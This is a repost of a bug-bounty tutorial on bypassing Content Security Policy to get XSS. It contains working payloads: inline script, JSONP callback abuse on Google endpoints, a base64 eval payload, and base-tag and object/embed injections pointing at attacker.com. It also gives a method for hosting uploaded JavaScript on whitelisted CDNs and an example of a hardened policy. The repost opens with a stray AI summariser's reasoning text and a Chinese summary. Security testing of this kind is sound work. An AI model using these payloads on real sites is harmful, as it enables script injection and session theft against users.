A Bug Hunter’s Guide to CSP Bypasses (Part 1)
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内,并且直接写描述,不需要开头。首先,我得仔细阅读文章内容,抓住主要观点。 文章主要讲的是如何绕过内容安全策略(CSP)来寻找XSS漏洞。作者提到常见的配置错误,比如使用'unsafe-inline'和通配符域名,这些都是导致CSP不安全的主要原因。接着,作者详细介绍了几种绕过方法,比如利用文件上传、base标签和JSONP端点等。 然后,文章还提到了如何审计CSP,包括检查策略、寻找可信域、测试文件上传等步骤。最后,作者给出了一个强健的CSP示例,并指出即使这样也并非绝对安全。 总结一下,文章的核心是分析CSP的常见漏洞及其绕过方法,并提供了一些实际操作的技巧和工具。因此,在总结时需要涵盖这些关键点:分析常见配置错误、绕过方法、审计步骤以及强健策略示例。 现在,我需要用简洁的语言把这些要点浓缩到100字以内。确保涵盖主要的技术点和结论。 </think> 文章分析了内容安全策略(CSP)的常见漏洞及其绕过方法,重点介绍了“unsafe-inline”、通配符域名等配置错误带来的风险,并提供了利用文件上传、base标签和JSONP端点等技术进行攻击的示例。同时,文章还分享了审计CSP的方法和最佳实践,并强调即使看似强大的CSP也可能存在被绕过的可能。 2025-10-14 13:13:48 Author: infosecwriteups.com(查看原文) 阅读量:96 收藏

Press enter or click to view image in full size

Abhishek meena

Why that “secure” header is probably full of holes, and how to find them for critical XSS vulnerabilities.

You’ve found the perfect XSS vector. You craft your payload, hit enter, and… nothing. Just an angry red message flashing in the console: “Refused to execute inline script because it violates the following Content Security Policy…”

Game over? Not even close.

For a bug hunter, this is where things get interesting. That error message isn’t a wall — it’s practically an invitation. A Content Security Policy is just a set of rules the browser follows. And rules? They always have loopholes.

Here’s what usually happens: developers slap on a basic CSP, check the box on their security audit, and sleep easy thinking they’ve killed XSS for good. Meanwhile, most CSPs I see in the wild are about as secure as a screen door on a submarine.

This is Part 1 of a comprehensive series on CSP bypasses. We’re starting with the fundamentals — the common misconfigurations and basic techniques that work on 70–80% of the CSPs you’ll encounter in bug bounty programs. These are the low-hanging fruit that still pay out big bounties because so many developers get them wrong.

By the end of this guide, you’ll know exactly how to spot weak CSP configurations and turn them into working exploits.

The Illusion of Security: Why Most CSPs Fail

Think of CSP as a bouncer at a nightclub. Their job is to check IDs — making sure only approved scripts, images, and stylesheets get in. Sounds great in theory. The problem? Most websites give their bouncer the world’s worst guest list.

Here are the misconfigurations that basically tell the bouncer to wave everyone through.

The ‘unsafe-inline’ Catastrophe

This is the nuclear option of CSP mistakes. If you see 'unsafe-inline' in a script-src directive, just pack it up—you've already won. It directly permits inline <script> blocks and event handlers like onclick. Basically, it turns off the main thing CSP is supposed to do.

Weak Policy:

Content-Security-Policy: script-src 'self' 'unsafe-inline';

Bypass:

<script>alert('CSP Bypass')</script>

Yeah, it’s that simple.

Real-World Impact: I’ve found this misconfiguration on everything from small SaaS apps to major e-commerce platforms. It usually happens when developers need to make inline scripts work quickly and take the path of least resistance. One report I filed for this exact issue paid out $2,500 — for what was essentially a 30-second check.

The Overly-Trusting Wildcard (*)

Policies that trust entire domains are everywhere. You’ll see things like script-src: *.google.com or *.cloudflare.com. The thinking goes: "It's Google, right? What could possibly go wrong?"

Turns out, a lot. This opens the door to scripts from any subdomain of Google, which creates openings like:

  • JSONP Endpoints: Tons of APIs on whitelisted domains have JSONP callbacks you can abuse to execute arbitrary JavaScript.
  • Old AngularJS Libraries: Find a whitelisted domain hosting a vulnerable AngularJS version, and you’ve got yourself a sandbox escape.
  • File Uploads: If any corner of that trusted domain allows uploading .js files, you're golden.

Quick Win Example:

Policy: script-src 'self' *.google.com
Bypass: <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

This works because Google’s OAuth endpoint has a JSONP callback parameter that reflects your input. We’ll dive much deeper into JSONP exploitation in Part 2.

Press enter or click to view image in full size

browser console showing CSP error with a weak policy visible. Highlight the ‘unsafe-inline’ or wildcard domain in the CSP header.

Don’t Forget ‘unsafe-eval’

This one’s sneakier. 'unsafe-eval' allows functions like eval(), setTimeout(), and setInterval() to run with string arguments. A lot of older libraries need this to work, so devs include it for compatibility. And just like that, you've got another way in.

Example:

Policy: script-src 'self' 'unsafe-eval'
Bypass: <svg><animate onbegin=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))>

The base64 string decodes to alert(document.domain). If you can inject HTML and the policy has unsafe-eval, you can execute code.

My Methodology for Auditing a CSP

When I hit a CSP, I don’t give up — I get systematic. Here’s exactly what I do every single time.

Step 1: Actually Read the Policy

Sounds obvious, but most people skip this. When you see that CSP error, pop open your browser’s dev tools. Go to the Network tab, click on the document request, and find the Content-Security-Policy header. Copy the whole thing into a text editor.

Now look at each directive. What’s allowed for script-src, object-src, and base-uri? These are your main attack vectors.

Pro tip: Use a tool like CSP Evaluator by Google to quickly identify obvious issues. But don’t stop there — manual analysis is where you find the interesting bypasses.

Press enter or click to view image in full size

Screenshot of Google’s CSP Evaluator tool showing a weak policy

Step 2: Hunt for Whitelisted Goldmines

Your primary focus should be the script-src directive. Every domain listed there is a potential goldmine. Your job isn't to beat the CSP directly—it's to make one of those trusted domains serve your malicious JavaScript.

Say you find script-src: 'self' cdn.trusted-company.com. Your next move? Shift your attack to cdn.trusted-company.com. Look for:

  • Open redirects you can chain together
  • JSONP endpoints that reflect user input
  • Hosted JavaScript libraries that are outdated and vulnerable
  • Anywhere that reflects your input back to you

My Hunting Process:

  1. List all whitelisted domains
  2. Check each for JSONP endpoints (use common paths like /api/, /jsonp, /callback)
  3. Look for file upload functionality
  4. Search for open redirects
  5. Check for old library versions (AngularJS < 1.6, jQuery < 3.0)

Press enter or click to view image in full size

CSP bypass methodology

Step 3: Test File Upload Endpoints

This is classic and highly effective. If the app lets you upload files that get served from a whitelisted domain (like an S3 bucket or CDN), the CSP will trust it.

The Process:

  1. Find a file upload feature
  2. Upload a .js file with your payload
  3. Note the URL where it’s hosted
  4. Check if that domain is whitelisted in script-src
  5. Inject: <script src="https://whitelisted-domain.com/uploads/your-file.js"></script>

Real Example: I once found an app with script-src: 'self' cdn.example.com. The CDN was actually their S3 bucket where user avatars were stored. I uploaded a JavaScript file disguised as an image, got the direct S3 URL, and loaded it as a script. Boom—$3,000 bounty.

A file upload interface with a malicious .js file being uploaded

Step 4: The base-uri Blindspot

One of my personal favorites because it’s so often overlooked. If the CSP is missing a base-uri directive, you can inject a <base> tag to redefine the base URL for all relative paths on the page.

If the page loads a script like this:

<script src="/js/app.js"></script>

You can inject:

<base href="https://attacker.com/">

Now the browser tries to load https://attacker.com/js/app.js instead, completely bypassing script-src.

How to Test:

  1. Check if base-uri is present in the CSP
  2. If missing, find an HTML injection point
  3. Inject: <base href="https://your-server.com/">
  4. The page will load relative resources from your domain

Press enter or click to view image in full size

Before vs after tag injection

Step 5: The Missing object-src Directive

If object-src isn't defined, you can embed objects that load external content. This is less common now with Flash being dead, but it still works in some contexts.

Bypass example:

<object data="https://attacker.com/malicious.swf"></object>

Or for PDF-based XSS:

<embed src="https://attacker.com/xss.pdf">

Common JSONP Endpoints to Test

When you find a whitelisted domain, these are the first endpoints I check for JSONP callbacks:

Google domains:

https://accounts.google.com/o/oauth2/revoke?callback=alert
https://www.google.com/complete/search?client=chrome&q=a&jsonp=alert

Other common CDNs:

https://cdnjs.cloudflare.com/ajax/libs/[library]/[version]/[file].js
https://ajax.googleapis.com/ajax/libs/angularjs/[version]/angular.js

Testing process:

  1. Replace the callback parameter with your payload
  2. Test variations: callback=, jsonp=, cb=, function=
  3. Check if your function gets executed

We’ll cover JSONP exploitation in much more detail in Part 2, including how to find hidden JSONP endpoints and chain them with other vulnerabilities.

Press enter or click to view image in full size

successful JSONP bypass

From Broken to Bulletproof: What a Good CSP Looks Like

After all this talk about breaking things, let’s talk about building them right. A good CSP locks everything down by default and only opens what’s absolutely necessary.

Weak CSP (easily bypassed):

Content-Security-Policy: script-src 'self' *.google.com 'unsafe-inline';

Strong CSP (much harder to bypass):

Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-rAnd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'self'; require-trusted-types-for 'script';

Why is the second one so much better?

  • default-src 'none' denies everything by default
  • Uses a nonce for specific inline scripts, eliminating 'unsafe-inline'
  • 'strict-dynamic' lets trusted scripts load other scripts without whitelisting domains
  • object-src 'none' blocks object/embed attacks
  • base-uri 'self' prevents base tag hijacking
  • require-trusted-types-for 'script' enables Trusted Types (we'll cover this in Part 3)

Note: Even “strong” CSPs can be bypassed through advanced techniques like nonce leaking, DOM clobbering, and mutation XSS — but those are topics for Parts 2 and 3.

“Weak CSP vs Strong CSP”

It’s a Puzzle, Not a Prison

A CSP header doesn’t mean “no XSS.” It means “XSS with extra steps.”

Next time you’re testing an app and the console throws a CSP error, don’t close the tab. Get curious. Read the policy line by line. Check for the misconfigurations we covered here. More often than not, you’ll find a way through.

This is just the beginning. In Part 1, we’ve covered the fundamentals — the common mistakes that make up the majority of bypasses you’ll find in the wild.

Coming up in Part 2: We’ll dive into intermediate techniques that work against stricter policies:

  • Advanced nonce exploitation and leaking strategies
  • Deep-dive into AngularJS sandbox escapes
  • JSONP endpoint discovery and exploitation
  • Dangling markup injection for data exfiltration
  • Service worker abuse
  • Real bypass chains from $10k+ bug bounty reports

And in Part 3: We’ll get into research-level techniques:

  • DOM clobbering to bypass CSP checks
  • Mutation XSS (mXSS) through sanitizer bypasses
  • Prototype pollution leading to CSP bypass
  • Scriptless attacks and code-reuse techniques
  • Browser-specific quirks and edge cases

Until then, happy hunting. That CSP error is just the start of something interesting.


文章来源: https://infosecwriteups.com/a-bug-hunters-guide-to-csp-bypasses-part-1-69b606fd2699?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh